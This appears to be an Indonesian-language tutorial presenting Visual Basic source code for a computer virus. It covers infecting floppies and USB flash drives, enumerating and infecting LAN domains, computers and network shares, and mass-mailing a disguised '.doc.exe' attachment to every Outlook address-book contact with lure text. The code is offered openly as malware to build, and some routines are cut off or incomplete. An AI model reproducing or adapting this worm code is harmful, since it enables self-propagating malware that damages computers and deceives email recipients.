Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit

End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "" & attachment & ".doc.exe"
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
